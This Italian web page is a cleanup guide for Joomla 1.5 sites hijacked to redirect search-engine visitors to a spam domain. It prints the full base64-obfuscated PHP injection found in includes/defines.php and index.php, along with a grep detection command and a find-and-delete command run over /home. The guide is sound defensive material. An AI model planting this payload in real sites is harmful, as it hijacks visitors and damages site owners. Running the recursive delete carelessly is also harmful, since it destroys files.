Joomla sito non accessibile da google - RISOLUZIONE
Risoluzione sito reindirizzato su P3p0.com
Non è ancora ben chiaro come sia avvenuto, tuttavia se un sito joomla 1.5 non fosse accessibile da Google o comunque da motore di ricerca, e si trovasse reindirizzato su http://p3p0.com/ per risolvere il problema si devono localizzare i files: includes/defines.php, e index.php sulla root del sito aprirlo con editor di testo e se presente rimuovere la stringa:
eval(base64_decode("CglpZiAoc3RyaXN0cigkX1NFU lZFUltIVFRQX1JFRkVSRVJdLCJnb29nbGUiKSkgewoJaW YgKCFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0 sIi5udSIpIGFuZCAhc3RyaXN0cigkX1NFUlZFUltIVFRQ X1JFRkVSRVJdLCJzaXRlIikgYW5kICFzdHJpc3RyKCRfU 0VSVkVSW0hUVFBfUkVGRVJFUl0sImludXJsIikpewoJCX ByZWdfbWF0Y2ggKCIvcVw9KC4qKS8iLCRfU0VSVkVSW0h UVFBfUkVGRVJFUl0sJGtrKTsKCQlpZiAoc3RyaXN0cigk a2tbMV0sIiYiKSkgewoJCQlwcmVnX21hdGNoICgiLyguK j8pXCYvIiwka2tbMV0sJGtleTIpOwoJCQkka2V5d29yZD 11cmxkZWNvZGUoJGtleTJbMV0pOwoJCX1lbHNlIHsKCQk JJGtleXdvcmQ9dXJsZGVjb2RlKCRra1sxXSk7CgkJfQoJ CWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mZ25mZGZ0a HJ2LmJlZS5wbC8/cT0iLiRrZXl3b3JkKTsKCQlleGl0KC k7Cgl9Cgp9ZWxzZWlmIChzdHJpc3RyKCRfU0VSVkVSW0h UVFBfUkVGRVJFUl0sInlhaG9vIikpIHsKcHJlZ19tYXRj aCAoIi9wXD0oLio/KSYvIiwkX1NFUlZFUltIVFRQX1JFR kVSRVJdLCRrayk7CgkJaGVhZGVyKCJMb2NhdGlvbjogaH R0cDovL2ZnbmZkZnRocnYuYmVlLnBsLz9xPSIuJGtrWzF dKTsKCQlleGl0KCk7Cn1lbHNlaWYgKHN0cmlzdHIoJF9T RVJWRVJbSFRUUF9SRUZFUkVSXSwiYmluZyIpKSB7CnByZ WdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRVJbSF RUUF9SRUZFUkVSXSwka2spOwoJCWhlYWRlcigiTG9jYXR pb246IGh0dHA6Ly9mZ25mZGZ0aHJ2LmJlZS5wbC8/cT0i LiRra1sxXSk7CgkJZXhpdCgpOwp9Cgk="));<br /><br /></div> <div class="rubriche">Salvare il file e se possibile dare i permessi di sola lettura per evitare che magari venga ri-ackerato.(chmod 444 o al massimo 644)<br /><br />Per le versioni di joomla 1.0 controllare i files config.php e globals.php situati sulla root del sito.<br /><br />La stringa di codice malevolo suddetta in altri CMS è stata trovata prevalentemente in index.php.<br /><br />Potete provare a ricercare la stringa anche con il comando di bash:<br /><br />#<code> grep -or -H 'eval(base64_decode' /vostro_path/.<br /><br />Controllare anche la presenza del file gifimg.php che dovr' essere cercato ed eliminato:<br /><br /># find /home/ -name "gifimg.php" -print -exec rm '{}' \